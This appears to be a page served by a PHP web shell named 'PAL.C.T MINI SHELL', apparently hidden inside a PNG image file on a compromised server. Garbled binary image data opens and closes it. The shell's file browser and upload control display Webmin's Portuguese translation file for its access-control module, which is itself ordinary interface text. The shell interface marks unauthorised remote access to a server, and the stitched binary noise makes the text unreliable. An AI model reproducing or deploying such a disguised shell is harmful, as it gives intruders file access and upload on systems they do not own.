php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/acl/lang/
upload
files >> //usr/libexec/webmin/acl/lang/pt.auto

index_screate=Crie um novo usuário seguro.
index_convert=Conversão Unix para usuários Webmin
index_cert=Solicitar um certificado SSL
index_twofactor=Autenticação de dois fatores
index_certmsg=Clique neste botão para solicitar um certificado SSL que permitirá que você efetue login com segurança no Webmin sem precisar digitar um nome de usuário e senha.
index_none=Nenhum
index_edit=ACL do módulo de edição:
index_global=ACL global
index_users=Usuários Webmin
index_groups=Grupos Webmin
index_group=Grupo
index_nousers=Nenhum usuário Webmin editável definido.
index_nogroups=Nenhum grupo Webmin definido.
index_gcreate=Crie um novo grupo Webmin.
index_members=Membros
index_modgroups=Módulos do grupo $1 
index_sync=Configurar sincronização de usuário Unix
index_unix=Configurar autenticação de usuário Unix
index_sessions=Exibir sessões de login
index_rbac=Configurar RBAC
index_delete=Excluir selecionado
index_joingroup=Adicionar ao grupo:
index_eulist=Falha ao listar usuários: $1 
index_eglist=Falha ao listar grupos: $1 

edit_title3=Criar usuário Webmin seguro
edit_readonly=Esse usuário do Webmin não deve ser editado, pois é gerenciado pelo módulo $1. <a href='$2'>Clique aqui</a> para ignorar este aviso e editar o usuário de qualquer maneira - mas lembre-se de que qualquer alteração manual pode ser sobrescrita!
edit_cloneof=Clonando usuário Webmin
edit_real=Nome real
edit_group=Membro do grupo
edit_lock=Nenhuma senha aceita
edit_pam=Autenticação PAM
edit_unix=Autenticação Unix
edit_extauth=Programa de autenticação externa
edit_passlocked=A senha não foi alterada por $1 dias - conta bloqueada!
edit_passmax=A senha não foi alterada por $1 dias - deve ser alterada no próximo login
edit_passold=A senha foi alterada pela última vez $1 dias atrás
edit_passtoday=A senha foi alterada há menos de um dia
edit_twofactor=Tipo de autenticação de dois fatores
edit_twofactorprov=Usando o provedor $1 com o ID $2 
edit_twofactorcancel=Remover requisito de autenticação de dois fatores
edit_twofactornone=Nenhuma configuração ainda
edit_twofactoradd=Ativar dois fatores para o usuário
edit_lang=Língua
edit_notabs=Categorizar módulos?
edit_logout=Tempo de logoff de inatividade
edit_mins=minutos
edit_chars=cartas
edit_minsize=Comprimento mínimo da senha
edit_nochange=Aplicar dias de alteração de senha?
edit_cert=Nome do certificado SSL
edit_none=Nenhum
edit_ips=Controle de acesso IP
edit_all=Permitir de todos os endereços
edit_allow=Permitir apenas a partir de endereços listados
edit_deny=Negar dos endereços listados
edit_ipdesc=O controle de acesso IP do usuário funciona da mesma maneira que o controle global de acesso IP no módulo Webmin Configuration. Somente se um usuário passar nos controles globais, esses aqui também serão verificados.
edit_skill=Nível de habilidade
edit_risk=Nível de risco
edit_risk_high=Superusuário
edit_risk_medium=Usuário administrador
edit_risk_low=Usuário normal
edit_groupmods=(Além dos módulos do grupo)
edit_euser=Você não tem permissão para editar este usuário
edit_egone=O usuário selecionado não existe mais!
edit_ecreate=Você não tem permissão para criar usuários
edit_theme=Tema da interface do usuário pessoal
edit_themeglobal=Na configuração do Webmin
edit_themedef=Tema antigo do Webmin
edit_overlay=Sobreposição de tema pessoal
edit_overlayglobal=Nenhum - use os padrões do tema
edit_log=Ver registros
edit_selall=Selecionar tudo
edit_invert=Seleção invertida
edit_hide=Ocultar não utilizado
edit_switch=Mudar para usuário
edit_return=Usuário Webmin
edit_return2=Grupo Webmin
edit_rbacdeny=Modo de acesso RBAC
edit_rbacdeny0=O RBAC controla apenas as ACLs do módulo selecionado
edit_rbacdeny1=O RBAC controla todos os módulos e ACLs
edit_global=Permissões para todos os módulos
edit_templock=Temporariamente trancado
edit_temppass=Forçar alteração no próximo login
edit_days=Dias da semana permitidos
edit_alldays=todo dia
edit_seldays=Apenas dias selecionados.
edit_hours=Horários permitidos do dia
edit_allhours=A qualquer momento
edit_selhours=De $1:$2 a $3:$4 
edit_ui=Opções da interface do usuário
edit_security=Opções de segurança e limites
edit_mods=Módulos Webmin disponíveis
edit_modsg=Módulos Webmin disponíveis (além dos do grupo)
edit_proto=Tipo de armazenamento
edit_proto_mysql=Banco de dados MySQL
edit_proto_postgresql=Banco de dados PostgreSQL
edit_proto_ldap=Servidor LDAP
edit_proto_=Ficheiros locais
edit_safe=Nível de privilégio
edit_safe0=Irrestrito
edit_safe1=Apenas módulos seguros
edit_unsafe=Redefinir para irrestrito

save_eunixname=O nome de usuário '$1' não é um usuário Unix e, portanto, não pode ser usado no modo de segurança
save_enamewebmin=O nome de usuário 'webmin' está reservado para uso interno
save_eoverlay=Uma sobreposição de tema não pode ser selecionada, a menos que um tema seja
save_eos=A opção Igual à senha do Unix não é suportada no seu sistema operacional.
save_emd5=A opção Senha igual à Unix não pode ser usada em sistemas com criptografia MD5
save_emod=Você não pode conceder acesso ao módulo '$1'
save_ecreate=Você não tem permissão para criar usuários
save_euser=Você não tem permissão para editar este usuário
save_ecolon=As senhas não podem conter o caractere:
save_epass=A senha não é válida: $1 
save_eself=Seu endereço IP atual ( $1 ) seria negado
save_epam=A autenticação PAM não está disponível, pois o módulo Perl <tt>Authen::PAM</tt> não está instalado ou não está funcionando corretamente.
save_epam2=Você pode usar o módulo Perl Modules do Webmin para <a href='$1'>baixar e instalar o Authen::PAM</a> agora.
save_egroup=Você não tem permissão para atribuir a esse grupo
save_enone=Nenhum endereço digitado
save_enet='$1' não é um endereço de rede válido
save_emask='$1' não é uma máscara de rede válida
save_eip='$1' não é um endereço IP ou de rede completo
save_ehost=Falha ao encontrar o endereço IP para '$1'
save_elogouttime=Tempo de logoff de inatividade ausente ou não numérico
save_eminsize=Comprimento mínimo de senha ausente ou não numérico
save_edays=Não há dias para permitir selecionados
save_ehours=Tempos ausentes ou inválidos para permitir
save_ehours2=A hora de início permitida deve ser antes do final
save_etemp=A opção de forçar uma alteração de senha no próximo login não pode ser usada, a menos que <a href='$1'>solicite aos usuários que insiram novas senhas</a> esteja ativado

delete_err=Falha ao excluir usuário
delete_eself=Você não pode se excluir
delete_ecannot=Você não tem permissão para excluir usuários
delete_euser=Você não tem permissão para excluir este usuário
delete_eanonuser=Este usuário está sendo usado para acesso anônimo ao módulo

cert_title=Solicitar certificado
cert_issue=Certificado de Emissão
cert_header=Novos detalhes do certificado
cert_msg=Este formulário permite que você solicite um certificado de cliente SSL que será usado no futuro para conceder acesso ao Webmin em vez de seu nome de usuário e senha. Isso é mais seguro, mas como a autenticação é automática, você não poderá alternar para um usuário diferente ao usar o certificado.
cert_ebrowser=O Webmin não sabe como emitir certificados de cliente para o seu navegador ( $1 )
cert_cn=Seu nome
cert_email=Endereço de e-mail
cert_ou=Departamento
cert_o=Organização
cert_sp=Estado
cert_c=Código do país
cert_key=Tamanho da chave
cert_done=Seu certificado para $1 foi gerado com sucesso.
cert_pickup=<a href='$1'>Clique aqui para pegar seu certificado e instalá-lo em seu navegador</a>
cert_install=Instale seu certificado no navegador
cert_ekey=Uma nova chave SSL não foi enviada pelo seu navegador - talvez não seja compatível com certificados de cliente SSL.
cert_eca=Falha ao configurar a autoridade de certificação: $1 
cert_already=Aviso - você já está usando o certificado $1.
cert_etempdir=Arquivo de certificado inválido

acl_title3=Para o grupo $1 em $2 
acl_reset=Redefinir para acesso total
acl_rbac=Obter configurações de controle de acesso do RBAC?
acl_rbacyes=Sim (substitui as configurações abaixo)

acl_uall=Todos os usuários
acl_uthis=Este usuário
acl_usel=Usuários selecionados..
acl_gr=Membros de $1 
acl_users=Usuários que podem ser editados
acl_mods=Pode conceder acesso a
acl_all=Todos os módulos
acl_own=Somente seus próprios módulos
acl_sel=Módulos selecionados.
acl_create=Pode criar novos usuários?
acl_delete=Pode excluir usuários?
acl_rename=Pode renomear usuários?
acl_acl=Pode editar o controle de acesso do módulo?
acl_lang=Pode mudar o idioma?
acl_chcert=Pode alterar o nome do certificado SSL?
acl_euser=Você não tem permissão para editar a ACL para este usuário
acl_egroup=Você não tem permissão para editar ACLs de grupo
acl_emod=Você não tem permissão para editar a ACL para este módulo
acl_others=Pode ver módulos inacessíveis?
acl_cert=Pode solicitar certificado?
acl_err=Falha ao salvar o controle de acesso
acl_groups=Pode editar grupos?
acl_gassign=Pode atribuir usuários a grupos
acl_gall=Todos os grupos
acl_gsel=Selecionado..
acl_gnone=Nenhum
acl_perms=Usuários recém-criados recebem
acl_perms_1=O mesmo controle de acesso do módulo que o criador
acl_perms_0=Controle de acesso do módulo padrão (irrestrito)
acl_sync=Pode configurar a sincronização do usuário?
acl_unix=Pode configurar a autenticação unix?
acl_sessions=Pode visualizar e cancelar as sessões de login?
acl_cats=Pode alterar a categorização?
acl_theme=Pode mudar o tema pessoal?
acl_ips=Pode alterar o controle de acesso IP?
acl_switch=Pode mudar para outros usuários?
acl_times=Pode alterar os horários de login permitidos?
acl_pass=Pode alterar as restrições de senha?
acl_sql=Pode configurar o banco de dados de usuários e grupos?

log_modify=Usuário Webmin modificado $1 
log_rename=Usuário Webmin renomeado $1 para $2 
log_create=Usuário Webmin criado $1 
log_clone=Usuário Webmin clonado $1 para $2 
log_delete=Usuário Webmin excluído $1 
log_acl=Acesso atualizado para $1 em $2 
log_reset=Redefina o acesso para $1 em $2 
log_cert=Certificado emitido para o usuário $1 
log_modify_g=Grupo Webmin modificado $1 
log_rename_g=Renomeado grupo Webmin $1 para $2 
log_create_g=Grupo Webmin criado $1 
log_delete_g=Grupo Webmin excluído $1 
log_switch=Comutado para usuário Webmin $1 
log_delete_users=Usuários Webmin $1 excluídos
log_delete_groups=Grupos Webmin excluídos $1 
log_joingroup=Adicionados $1 usuários Webmin ao grupo $2 
log_pass=Restrições de senha alteradas
log_unix=Autenticação de usuário unix alterada
log_sync=Sincronização de usuário unix alterada
log_sql=Banco de dados de usuário e grupo alterado
log_twofactor=Usuário registrado $1 com o provedor de dois fatores $2 
log_onefactor=Usuário desinscrito $1 para autenticação de dois fatores

gedit_ecannot=Você não tem permissão para editar grupos
gedit_title=Editar grupo Webmin
gedit_title2=Criar grupo Webmin
gedit_group=Nome do grupo
gedit_rights=Direitos de acesso ao grupo Webmin
gedit_modules=Módulos dos membros
gedit_members=Usuários e grupos membros
gedit_desc=Descrição do grupo
gedit_egone=O grupo selecionado não existe mais!

gdelete_err=Falha ao excluir o grupo
gdelete_ecannot=Você não tem permissão para excluir grupos
gdelete_euser=Você não pode excluir seu próprio grupo
gdelete_esub=Grupos com subgrupos não podem ser excluídos
gdelete_title=Excluir grupo
gdelete_desc=Tem certeza de que deseja excluir o grupo $1 e seus usuários membros $2 ?
gdelete_ok=Excluir grupo

gsave_err=Falha ao salvar o grupo
gsave_ename=Nome de grupo ausente ou inválido
gsave_enamewebmin=O nome do grupo 'webmin' está reservado para uso interno
gsave_edup=O nome do grupo já está em uso
gsave_edesc=Descrição inválida - o caractere: não é permitido

convert_title=Converter usuários
convert_ecannot=Você não tem permissão para converter usuário Unix
convert_nogroups=Nenhum grupo Webmin foi definido no seu sistema. Pelo menos um grupo deve ser criado antes da conversão para definir permissões para os usuários convertidos.
convert_desc=Este formulário permite converter usuários Unix existentes em usuários Webmin. As permissões de cada novo usuário do Webmin serão determinadas pelo grupo selecionado abaixo.
convert_0=Todos os usuários
convert_1=Somente usuários
convert_2=Todos, exceto usuários
convert_3=Usuários com grupo
convert_4=Usuários com UIDs no intervalo
convert_group=Atribuir novos usuários ao grupo Webmin
convert_sync2=Sincronizar senha com o usuário Unix no futuro?
convert_ok=Converter agora
convert_err=Falha ao converter usuários
convert_eusers=Nenhum usuário para converter inserido
convert_egroup=O grupo Unix não existe
convert_emin=UID mínimo inválido
convert_emax=UID máximo inválido
convert_ewgroup=Nenhum grupo Webmin
convert_ewgroup2=Você não tem permissão para atribuir novos usuários a este grupo
convert_skip= $1 sendo ignorado
convert_exists= $1 já existe
convert_invalid= $1 não é um nome de usuário Webmin válido
convert_added= $1 sendo adicionado
convert_msg=Convertendo usuários do Unix...
convert_user=Usuário Unix
convert_action=Medida tomada
convert_done= $1 usuários convertidos, $2 inválidos, $3 já existem, $4 excluído.
convert_users=Usuários para converter

sync_title=Sincronização de usuário Unix
sync_desc=Este formulário permite configurar a sincronização automática de usuários Unix criados através do Webmin e usuários neste módulo.
sync_nogroups=Nenhum grupo Webmin foi definido no seu sistema. Pelo menos um grupo deve ser criado para definir o acesso para usuários criados.
sync_when=Quando sincronizar
sync_create=Crie um usuário Webmin quando um usuário Unix for criado.
sync_update=Atualize o usuário Webmin correspondente quando um usuário Unix for atualizado.
sync_delete=Exclua o usuário Webmin correspondente quando um usuário Unix for excluído.
sync_modify=Renomeie o usuário Webmin correspondente quando um usuário Unix for renomeado.
sync_group=Atribuir novos usuários ao grupo Webmin
sync_unix=Defina a senha para novos usuários como autenticação Unix.
sync_ecannot=Você não tem permissão para configurar a sincronização do usuário.

unix_title=Autenticação de Usuário Unix
unix_err=Falha ao salvar a autenticação Unix
unix_desc=Esta página permite configurar o Webmin para validar tentativas de login na lista de usuários do sistema e no PAM. Isso pode ser útil se você tiver um grande número de usuários Unix existentes aos quais deseja dar acesso ao Webmin.
unix_def=Permitir apenas que usuários do Webmin efetuem login
unix_sel=Permita que os usuários Unix listados abaixo façam login.
unix_mode=Permitir
unix_mall=Todos os usuários
unix_group=Membros do grupo..
unix_user=Usuário Unix..
unix_who=Usuário ou Grupo
unix_to=Como usuário do Webmin
unix_ecannot=Você não tem permissão para configurar a autenticação de usuário Unix
unix_epam=A autenticação Unix não está disponível, pois o módulo Perl <tt>Authen::PAM</tt> não está instalado ou não está funcionando corretamente.
unix_all=Permitir todos os usuários Unix
unix_allow=Permitir apenas usuários Unix listados
unix_deny=Negar usuários Unix listados
unix_none=Nenhum usuário inserido
unix_euser='$1' não é um nome de usuário válido
unix_egroup='$1' não é um nome de grupo válido
unix_shells=Negar usuários do Unix cujas conchas não estão no arquivo
unix_eshells=Arquivo de shells ausente ou inexistente
unix_restrict2=Restrições adicionais
unix_ewhogroup=Grupo ausente para permitir na linha $1 
unix_ewhouser=Usuário ausente para permitir na linha $1 
unix_enone=Nenhum usuário ou grupo Unix para permitir a entrada
unix_same=&lt;Mesmo usuário ou grupo&gt;
unix_sudo=Permita que os usuários que podem executar todos os comandos via <tt>sudo</tt> façam login como <tt>root</tt>
unix_pamany=Trate logins que somente passam na validação do PAM como $1 
unix_esudo=O comando $1 não está instalado
unix_esudomod=O módulo Perl $1 necessário para a autenticação <tt>sudo</tt> não está instalado
unix_header=Configurações de autenticação de usuário Unix
unix_utable=Usuários Unix permitidos

sessions_title=Sessões de login atuais
sessions_id=Identificação de sessão
sessions_user=Usuário Webmin
sessions_login=Ativo pela última vez às
sessions_host=endereço de IP
sessions_lview=Ver registros..
sessions_actions=Ações..
sessions_all=Todas as sessões..
sessions_logouts=Mostrar também sessões desconectadas.
sessions_state=Estado
sessions_this=Este login
sessions_in=Logado
sessions_out=Desconectado
sessions_kill=Desconectar..

logins_title=Logins recentes do Webmin

hide_title=Ocultar módulos não utilizados
hide_desc=Os seguintes módulos serão removidos da lista de acesso do módulo para $1 , pois os servidores correspondentes não estão instalados no seu sistema.
hide_ok=Ocultar módulos agora
hide_none=Nada a esconder - $1 não tem acesso a nenhum módulo cujos servidores correspondentes não estão instalados no seu sistema.
hide_desc2=Esteja ciente de que esses módulos não aparecerão automaticamente se os servidores correspondentes estiverem instalados. Você precisará conceder acesso manualmente usando este módulo.
hide_clone=(Clone $1 )

switch_euser=Você não tem permissão para mudar para este usuário
switch_eold=Sessão existente não encontrada!

rbac_title=Configurar RBAC
rbac_desc=A integração RBAC do Webmin fornece uma maneira de determinar as permissões do módulo do usuário e da ACL a partir de um banco de dados RBAC (Role Based Access Control), em vez dos arquivos de configuração do Webmin. Quando o suporte ao RBAC estiver ativado, qualquer usuário para quem a opção <b>RBAC controla todos os módulos e ACLs</b> for selecionada terá seus recursos determinados pelo RBAC em vez das configurações de controle de acesso do Webmin.
rbac_esolaris=O RBAC é suportado apenas no Solaris no momento e, portanto, não pode ser usado neste sistema $1.
rbac_eperl=O módulo Perl $1 necessário para a integração do RBAC não está instalado. <a href='$2'>Clique aqui</a> para instalá-lo agora.
rbac_ecpan=Você não tem acesso à página Perl Modules do Webmin para instalar o módulo $1 necessário para a integração do RBAC.
rbac_ok=A integração do RBAC está disponível neste sistema e pode ser ativada por usuário na página Editar Usuário Webmin.

udeletes_err=Falha ao excluir usuários
udeletes_jerr=Falha ao adicionar usuários ao grupo
udeletes_enone=Nenhum selecionado
udeletes_title=Excluir usuários
udeletes_rusure=Tem certeza de que deseja excluir os usuários selecionados $1 ? Todas as suas configurações de controle de acesso e detalhes do usuário serão perdidos.
udeletes_users=Usuários selecionados: $1 
udeletes_ok=Excluir usuários
udeletes_ereadonly=Um dos usuários selecionados está marcado como não editável

gdeletes_err=Falha ao excluir grupos
gdeletes_title=Excluir grupos
gdeletes_rusure=Tem certeza de que deseja excluir os grupos selecionados $1 e os usuários $2 que eles contêm? Todas as suas configurações de controle de acesso e detalhes do usuário serão perdidos.
gdeletes_users=Grupos selecionados: $1 
gdeletes_ok=Excluir grupos

pass_title=Restrições de senha
pass_ecannot=Você não tem permissão para editar restrições de senha
pass_header=Opções de aplicação de senha do Webmin
pass_minsize=Comprimento mínimo da senha
pass_nominsize=Nenhum mínimo
pass_regexps=As senhas de expressões regulares devem corresponder
pass_regdesc=Descrição legível por humanos para expressão regular
pass_maxdays=Dias antes da senha ser alterada
pass_lockdays=Dias antes da senha não alterada bloquear a conta
pass_nomaxdays=Mudança nunca é necessária
pass_nolockdays=A conta nunca é bloqueada
pass_nouser=Não permitir senhas que contenham nome de usuário?
pass_nodict=Não permitir senhas de palavras do dicionário?
pass_oldblock=Número de senhas antigas a serem rejeitadas
pass_nooldblock=Não há limite para reutilização de senha
pass_days=dias
pass_pass=senhas
pass_err=Falha ao salvar restrições de senha
pass_eminsize=Comprimento mínimo de senha ausente ou não numérico
pass_emaxdays=Número de dias ausente ou não numérico antes de alterar
pass_elockdays=Número de dias ausente ou não numérico antes do bloqueio da conta
pass_eoldblock=Número ausente ou não numérico de senhas antigas a serem rejeitadas

cpass_minsize=Deve ter pelo menos $1 letras
cpass_notre=Corresponde a um padrão não permitido
cpass_re=Não corresponde a um padrão necessário
cpass_name=Contém o nome de usuário
cpass_dict=É uma palavra do dicionário
cpass_spellcmd=Nem os comandos $1 ou $2 necessários para verificar as palavras do dicionário estão instalados
cpass_old=Senhas antigas não podem ser reutilizadas

sql_title=Banco de dados de usuário e grupo
sql_ecannot=Você não tem permissão para configurar o banco de dados de usuário e grupo
sql_header=Opções para back-end do banco de dados para usuários e grupos
sql_host=nome de anfitrião
sql_user=Nome do usuário
sql_pass=Senha
sql_db=Nome do banco de dados
sql_ssl=Criptografia de conexão
sql_ssl0=Nenhum
sql_ssl1=SSL
sql_ssl2=TLS
sql_userclass=Classe de objeto para usuários
sql_groupclass=Classe de objeto para grupos
sql_euserclass=Classe de objeto ausente ou inválida para usuários
sql_egroupclass=Classe de objeto ausente ou inválida para grupos
sql_none=Use apenas arquivos locais para armazenar usuários e grupos
sql_mysql=Use banco de dados MySQL
sql_postgresql=Use o banco de dados PostgreSQL
sql_ldap=Usar servidor LDAP
sql_prefix=Criar sob DN
sql_addto0=Adicione novos usuários ao banco de dados selecionado acima
sql_addto1=Adicionar novos usuários a arquivos locais
sql_nocache0=Conexões de cache para banco de dados
sql_nocache1=Abra uma nova conexão para cada pesquisa
sql_emod=Módulo Perl obrigatório ausente <tt>$1</tt>
sql_etable=Falha ao consultar a tabela necessária $1:$2 
sql_eldapdn=DN LDAP base $1 não foi encontrado
sql_eclass=A classe de objeto LDAP $1 não existe no esquema do servidor
sql_err=Falha ao salvar as configurações de banco de dados do usuário e grupo
sql_ehost=Nome de host ausente ou não resolvível
sql_euser=Nome de usuário ausente ou inválido (nenhum espaço permitido)
sql_epass=Senha inválida (nenhum espaço permitido)
sql_edb=Nome de banco de dados inválido (nenhum espaço permitido)
sql_eprefix=DN base ausente ou inválido (nenhum espaço permitido)
sql_eprefix2=DN base com aparência inválida - deve ser como <tt>dc = mydomain, dc = com</tt>
sql_title2=Criar tabelas ausentes
sql_tableerr=As configurações de banco de dados de usuário e grupo são válidas, mas algumas tabelas necessárias pelo Webmin estão ausentes: $1 
sql_tableerr2=Clique no botão <b>Criar tabelas</b> abaixo para que elas sejam criadas automaticamente ou execute manualmente o SQL abaixo.
sql_make=Criar tabelas
sql_title3=Criar DN ausente
sql_dnerr=As configurações de banco de dados de usuário e grupo são válidas, mas o DN LDAP necessário ao Webmin está ausente: $1 
sql_dnerr2=Clique no botão <b>Criar DN</b> abaixo para que ele seja criado automaticamente ou adicione-o ao servidor LDAP manualmente.
sql_makedn=Criar DN
sql_schema=Faça o download do esquema LDAP
sql_timeout_def=Use o tempo limite de conexão padrão (60 segundos)
sql_timeout_for=Fechar conexões em cache após
sql_timeout_secs=segundos
sql_etimeout=O tempo limite de conexão em cache deve ser um número

make_title=Criar tabelas de usuário e grupo
make_err=Falha ao criar tabelas de usuário e grupo
make_exec=Executando SQL $1..
make_failed=.. criação falhou: $1 
make_done=.. feito
make_still=Alguns problemas foram encontrados mesmo após a criação da tabela: $1 

makedn_title=Criar DN LDAP
makedn_eoc=Nenhuma classe de objeto estrutural encontrada!
makedn_exec=Criando DN pai $1..
makedn_failed=.. criação falhou: $1 
makedn_done=.. feito
makedn_still=Alguns problemas foram encontrados mesmo após a criação do DN: $1 

schema_title=Faça o download do esquema LDAP
schema_desc=Antes que o Webmin possa usar um servidor LDAP para armazenar usuários e grupos, ele deve ser configurado para usar o esquema abaixo. Isso geralmente pode ser feito salvando a definição do esquema em <tt>/etc/ldap/schema</tt> ou <tt>/etc/openldap/schema</tt> como <tt>webmin.schema</tt>, depois, configurando o servidor para carregar esse arquivo de esquema.
schema_download=Faça o download do arquivo de esquema: <a href=$1>$1</a>

twofactor_err=Falha ao configurar a autenticação de dois fatores
twofactor_euser=Seu usuário Webmin não foi encontrado!
twofactor_title=Autenticação de dois fatores
twofactor_disable=Desativar autenticação de dois fatores
twofactor_already=Seu login no Webmin já tem autenticação de dois fatores ativada com o provedor $1 e o ID da conta $2.
twofactor_already2=O login do Webmin $3 já tem autenticação de dois fatores ativada com o provedor $1 e o ID da conta $2.
twofactor_desc=Esta página permite que você ative a autenticação de dois fatores para seu login no Webmin usando <a href='$2' target=_blank>$1</a>. Uma vez ativo, um token de autenticação adicional será necessário ao efetuar login no Webmin.
twofactor_desc2=Esta página permite ativar a autenticação de dois fatores para o login no Webmin $3 usando <a href='$2' target=_blank>$1</a>. Uma vez ativo, um token de autenticação adicional será necessário ao efetuar login no Webmin.
twofactor_enable=Inscreva-se para autenticação de dois fatores
twofactor_header=Detalhes de registro de autenticação de dois fatores
twofactor_enrolling=Registrando para autenticação de dois fatores com o provedor $1..
twofactor_failed=.. inscrição falhou: $1 
twofactor_done=.. completo. Seu ID com este provedor é <tt>$1</tt>.
twofactor_setup=A autenticação de dois fatores ainda não foi ativada neste sistema, mas pode ser ativada usando o módulo <a href='$1'>Webmin Configuration</a>.
twofactor_ebutton=Nenhum botão clicou!
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`